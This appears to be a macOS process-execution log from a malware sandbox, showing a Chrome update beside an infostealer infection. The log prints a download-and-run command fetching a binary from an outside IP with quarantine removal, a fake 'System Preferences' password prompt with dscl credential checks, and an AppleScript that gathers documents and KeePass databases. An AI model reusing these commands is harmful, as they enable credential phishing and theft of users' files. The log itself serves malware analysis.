/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=127"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=126"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=126"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=126"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=127"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=126"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=127"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=126"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=126"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=127"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=97"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=38" "--launch-time-ticks=360588245" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=70"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=39" "--launch-time-ticks=362196230" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=140"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=40" "--launch-time-ticks=363383401" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=97"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=97"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=140"5⤵
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.Terminal.21005⤵
-
-
/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal5⤵
-
/usr/bin/loginlogin -pf run6⤵
-
/bin/zsh-zsh7⤵
-
/usr/libexec/path_helper/usr/libexec/path_helper -s8⤵
-
-
/usr/bin/localelocale LC_CTYPE8⤵
-
-
/usr/bin/curlcurl -fsSL http://192.162.199.249/0uj2zisph8⤵
-
-
/bin/bash/bin/bash -c "cd \$TMPDIR && curl -O http://192.162.199.249/8w0l6dmjl9p1xcnz && xattr -c 8w0l6dmjl9p1xcnz && chmod +x 8w0l6dmjl9p1xcnz && ./8w0l6dmjl9p1xcnz"8⤵
-
/usr/bin/curlcurl -O http://192.162.199.249/8w0l6dmjl9p1xcnz9⤵
-
-
/usr/bin/xattrxattr -c 8w0l6dmjl9p1xcnz9⤵
-
-
/bin/chmodchmod +x 8w0l6dmjl9p1xcnz9⤵
-
-
./8w0l6dmjl9p1xcnz./8w0l6dmjl9p1xcnz9⤵
-
-
-
-
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.ReportMemoryException5⤵
-
-
/usr/libexec/ReportMemoryException/usr/libexec/ReportMemoryException5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=43" "--launch-time-ticks=381299631" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=140"5⤵
-
-
/usr/bin/hdiutil/usr/bin/hdiutil attach /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/.com.google.Chrome.coazQg/GoogleChrome-128.0.6613.138.dmg -plist -nobrowse -readonly5⤵
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.hdiejectd5⤵
-
-
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd/System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd5⤵
-
-
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid 4E6D9703-25DA-4CA5-AD65-5E61829CB0535⤵
-
-
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid 4E6D9703-25DA-4CA5-AD65-5E61829CB053 -post-exec 45⤵
-
-
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -p disk3s2 removable readonly5⤵
-
-
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -k disk3s25⤵
-
-
/System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs/System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs -q /dev/rdisk3s25⤵
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.hdiejectd5⤵
-
-
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -p disk3s2 removable readonly5⤵
-
-
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -k disk3s25⤵
-
-
/System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs/System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs -q /dev/rdisk3s25⤵
-
-
/sbin/mount/sbin/mount -t hfs -o "-u=99,-g=99,-m=755,nodev,noowners,nosuid,rdonly,nobrowse" /dev/disk3s2 "/Volumes/Google Chrome"5⤵
-
/sbin/mount_hfs/sbin/mount_hfs -u 99 -g 99 -m 755 -o nodev -o noowners -o nosuid -o rdonly -o nobrowse /dev/disk3s2 "/Volumes/Google Chrome"6⤵
-
-
-
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd/System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd5⤵
-
-
/Volumes/Google Chrome/.keystone_install"/Volumes/Google Chrome/.keystone_install" "/Volumes/Google Chrome" "/Applications/Google Chrome.app" 101.0.4951.545⤵
-
/usr/bin/basenamebasename "/Volumes/Google Chrome/.keystone_install"6⤵
-
-
/bin/mkdirmkdir -p "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions"6⤵
-
-
/usr/bin/rsyncrsync --ignore-times --links --perms --recursive --times --delete-before "/Volumes/Google Chrome/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/128.0.6613.138/" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/128.0.6613.138"6⤵
-
-
/usr/bin/rsyncrsync --ignore-times --links --perms --recursive --times --delete-after "--include=/Contents/Frameworks/Google Chrome Framework.framework/Versions/Current" "--exclude=/Contents/Frameworks/Google Chrome Framework.framework/Versions/*" "--exclude=/Contents/Versions/*" "/Volumes/Google Chrome/Google Chrome.app/" "/Applications/Google Chrome.app"6⤵
-
-
/bin/rmrm -f "/Applications/Google Chrome.app/.want_full_installer"6⤵
-
-
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f "/Applications/Google Chrome.app"6⤵
-
-
/usr/bin/dirnamedirname "/Library/Google/Google Chrome Brand.plist"6⤵
-
-
/bin/mkdirmkdir -p /Library/Google6⤵
-
-
/usr/bin/defaultsdefaults write "/Library/Google/Google Chrome Brand" KSBrandID -string GGRO6⤵
-
-
/usr/sbin/chownchown root:wheel "/Library/Google/Google Chrome Brand.plist"6⤵
-
-
/bin/chmodchmod 644 "/Library/Google/Google Chrome Brand.plist"6⤵
-
-
/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadminksadmin --register --productid com.google.Chrome --version 128.0.6613.138 --xcpath "/Applications/Google Chrome.app" --url https://tools.google.com/service/update2 --tag universal --tag-path "/Applications/Google Chrome.app/Contents/Info.plist" --tag-key KSChannelID --brand-path "/Library/Google/Google Chrome Brand.plist" --brand-key KSBrandID --version-path "/Applications/Google Chrome.app/Contents/Info.plist" --version-key KSVersion6⤵
-
-
/bin/rmrm -rf "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69"6⤵
-
-
/usr/sbin/chownchown -Rh root:wheel "/Applications/Google Chrome.app"6⤵
-
-
/bin/chmodchmod -R "a+rX,u+w,go-w" "/Applications/Google Chrome.app"6⤵
-
-
/usr/bin/findfind "/Applications/Google Chrome.app" -type l -exec chmod -h "a+rX,u+w,go-w" "{}" +6⤵
-
/bin/chmodchmod -h "a+rX,u+w,go-w" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Default Apps" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/KeystoneRegistration" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/128.0.6613.138/Helpers/GoogleUpdater.app/Contents/Helpers/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksadmin" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Libraries" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Google Chrome Framework" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Helpers"7⤵
-
-
-
/usr/bin/xattrxattr -d -r com.apple.quarantine "/Applications/Google Chrome.app"6⤵
-
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=97"5⤵
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.PerformanceAnalysis.animationperfd5⤵
-
-
/System/Library/PrivateFrameworks/PerformanceAnalysis.framework/Versions/A/XPCServices/com.apple.PerformanceAnalysis.animationperfd.xpc/Contents/MacOS/com.apple.PerformanceAnalysis.animationperfd/System/Library/PrivateFrameworks/PerformanceAnalysis.framework/Versions/A/XPCServices/com.apple.PerformanceAnalysis.animationperfd.xpc/Contents/MacOS/com.apple.PerformanceAnalysis.animationperfd5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=45" "--launch-time-ticks=469548002" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=140"5⤵
-
-
/usr/bin/hdiutil/usr/bin/hdiutil detach "/Volumes/Google Chrome" -force5⤵
-
-
/sbin/umount/sbin/umount -f "/Volumes/Google Chrome"5⤵
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.security.DiskUnmountWatcher5⤵
-
-
/System/Library/PrivateFrameworks/KerberosHelper/Helpers/DiskUnmountWatcher/System/Library/PrivateFrameworks/KerberosHelper/Helpers/DiskUnmountWatcher5⤵
-
-
/bin/shsh -c "killall Terminal 2>/dev/null"5⤵
-
-
/bin/bashsh -c "killall Terminal 2>/dev/null"5⤵
-
/usr/bin/killallkillall Terminal6⤵
-
-
-
/bin/shsh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType 2>/dev/null"5⤵
-
-
/bin/bashsh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType 2>/dev/null"5⤵
-
/usr/sbin/system_profilersystem_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType6⤵
-
-
-
/usr/bin/csrutil/usr/bin/csrutil status5⤵
-
-
/bin/shsh -c "osascript -e 'display dialog \"You need to configure system settings before running application. Please enter password.\" default answer \"\" with icon 0 buttons {\"Continue\"} default button \"Continue\" with title \"System Preferences\" with hidden answer' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "osascript -e 'display dialog \"You need to configure system settings before running application. Please enter password.\" default answer \"\" with icon 0 buttons {\"Continue\"} default button \"Continue\" with title \"System Preferences\" with hidden answer' 2>/dev/null"5⤵
-
/usr/bin/osascriptosascript -e "display dialog \"You need to configure system settings before running application. Please enter password.\" default answer \"\" with icon 0 buttons {\"Continue\"} default button \"Continue\" with title \"System Preferences\" with hidden answer"6⤵
-
-
-
/bin/shsh -c "dscl . -authonly 'run' '' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "dscl . -authonly 'run' '' 2>/dev/null"5⤵
-
/usr/bin/dscldscl . -authonly run6⤵
-
-
-
/bin/shsh -c "osascript -e 'display dialog \"You need to configure system settings before running application. Please enter password.\" default answer \"\" with icon 0 buttons {\"Continue\"} default button \"Continue\" with title \"System Preferences\" with hidden answer' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "osascript -e 'display dialog \"You need to configure system settings before running application. Please enter password.\" default answer \"\" with icon 0 buttons {\"Continue\"} default button \"Continue\" with title \"System Preferences\" with hidden answer' 2>/dev/null"5⤵
-
/usr/bin/osascriptosascript -e "display dialog \"You need to configure system settings before running application. Please enter password.\" default answer \"\" with icon 0 buttons {\"Continue\"} default button \"Continue\" with title \"System Preferences\" with hidden answer"6⤵
-
-
-
/bin/shsh -c "dscl . -authonly 'run' '123' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "dscl . -authonly 'run' '123' 2>/dev/null"5⤵
-
/usr/bin/dscldscl . -authonly run 1236⤵
-
-
-
/bin/shsh -c "osascript -e 'display dialog \"You need to configure system settings before running application. Please enter password.\" default answer \"\" with icon 0 buttons {\"Continue\"} default button \"Continue\" with title \"System Preferences\" with hidden answer' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "osascript -e 'display dialog \"You need to configure system settings before running application. Please enter password.\" default answer \"\" with icon 0 buttons {\"Continue\"} default button \"Continue\" with title \"System Preferences\" with hidden answer' 2>/dev/null"5⤵
-
/usr/bin/osascriptosascript -e "display dialog \"You need to configure system settings before running application. Please enter password.\" default answer \"\" with icon 0 buttons {\"Continue\"} default button \"Continue\" with title \"System Preferences\" with hidden answer"6⤵
-
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=46" "--launch-time-ticks=518442919" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=141"5⤵
-
-
/bin/shsh -c "dscl . -authonly 'run' '123' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "dscl . -authonly 'run' '123' 2>/dev/null"5⤵
-
/usr/bin/dscldscl . -authonly run 1236⤵
-
-
-
/bin/shsh -c "osascript -e 'display dialog \"You need to configure system settings before running application. Please enter password.\" default answer \"\" with icon 0 buttons {\"Continue\"} default button \"Continue\" with title \"System Preferences\" with hidden answer' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "osascript -e 'display dialog \"You need to configure system settings before running application. Please enter password.\" default answer \"\" with icon 0 buttons {\"Continue\"} default button \"Continue\" with title \"System Preferences\" with hidden answer' 2>/dev/null"5⤵
-
/usr/bin/osascriptosascript -e "display dialog \"You need to configure system settings before running application. Please enter password.\" default answer \"\" with icon 0 buttons {\"Continue\"} default button \"Continue\" with title \"System Preferences\" with hidden answer"6⤵
-
-
-
/bin/shsh -c "dscl . -authonly 'run' 'root' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "dscl . -authonly 'run' 'root' 2>/dev/null"5⤵
-
/usr/bin/dscldscl . -authonly run root6⤵
-
-
-
/bin/shsh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on filegrabber(outputDirectory, extensionsList, maxFilesSize) try set destinationFolderPath to POSIX file outputDirectory mkdir(destinationFolderPath) set bankSize to 0 set fileCounter to 1 tell application \"Finder\" try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) set downloadsFiles to every file of folder \"Downloads\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set filesize to size of aFile if (bankSize + filesize) < maxFilesSize then try set newFileName to (fileCounter as string) & \".\" & fileExtension duplicate aFile to folder destinationFolderPath with replacing set destFolderAlias to destinationFolderPath as alias tell application \"Finder\" set copiedFiles to every file of folder destFolderAlias set lastCopiedFile to item -1 of copiedFiles set name of lastCopiedFile to newFileName end tell set bankSize to bankSize + filesize set fileCounter to fileCounter + 1 end try else exit repeat end if end if end repeat end try end tell end try end filegrabber filegrabber(\"/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39/User Files\", {\"txt\", \"md\", \"csv\", \"json\", \"doc\", \"docx\", \"xls\", \"xlsx\", \"pdf\", \"cfg\", \"kdbx\"}, 50 * 1024 * 1024)' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on filegrabber(outputDirectory, extensionsList, maxFilesSize) try set destinationFolderPath to POSIX file outputDirectory mkdir(destinationFolderPath) set bankSize to 0 set fileCounter to 1 tell application \"Finder\" try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) set downloadsFiles to every file of folder \"Downloads\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set filesize to size of aFile if (bankSize + filesize) < maxFilesSize then try set newFileName to (fileCounter as string) & \".\" & fileExtension duplicate aFile to folder destinationFolderPath with replacing set destFolderAlias to destinationFolderPath as alias tell application \"Finder\" set copiedFiles to every file of folder destFolderAlias set lastCopiedFile to item -1 of copiedFiles set name of lastCopiedFile to newFileName end tell set bankSize to bankSize + filesize set fileCounter to fileCounter + 1 end try else exit repeat end if end if end repeat end try end tell end try end filegrabber filegrabber(\"/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39/User Files\", {\"txt\", \"md\", \"csv\", \"json\", \"doc\", \"docx\", \"xls\", \"xlsx\", \"pdf\", \"cfg\", \"kdbx\"}, 50 * 1024 * 1024)' 2>/dev/null"5⤵
-
/usr/bin/osascriptosascript -e "on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on filegrabber(outputDirectory, extensionsList, maxFilesSize) try set destinationFolderPath to POSIX file outputDirectory mkdir(destinationFolderPath) set bankSize to 0 set fileCounter to 1 tell application \"Finder\" try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) set downloadsFiles to every file of folder \"Downloads\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set filesize to size of aFile if (bankSize + filesize) < maxFilesSize then try set newFileName to (fileCounter as string) & \".\" & fileExtension duplicate aFile to folder destinationFolderPath with replacing set destFolderAlias to destinationFolderPath as alias tell application \"Finder\" set copiedFiles to every file of folder destFolderAlias set lastCopiedFile to item -1 of copiedFiles set name of lastCopiedFile to newFileName end tell set bankSize to bankSize + filesize set fileCounter to fileCounter + 1 end try else exit repeat end if end if end repeat end try end tell end try end filegrabber filegrabber(\"/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39/User Files\", {\"txt\", \"md\", \"csv\", \"json\", \"doc\", \"docx\", \"xls\", \"xlsx\", \"pdf\", \"cfg\", \"kdbx\"}, 50 * 1024 * 1024)"6⤵
-
-
-
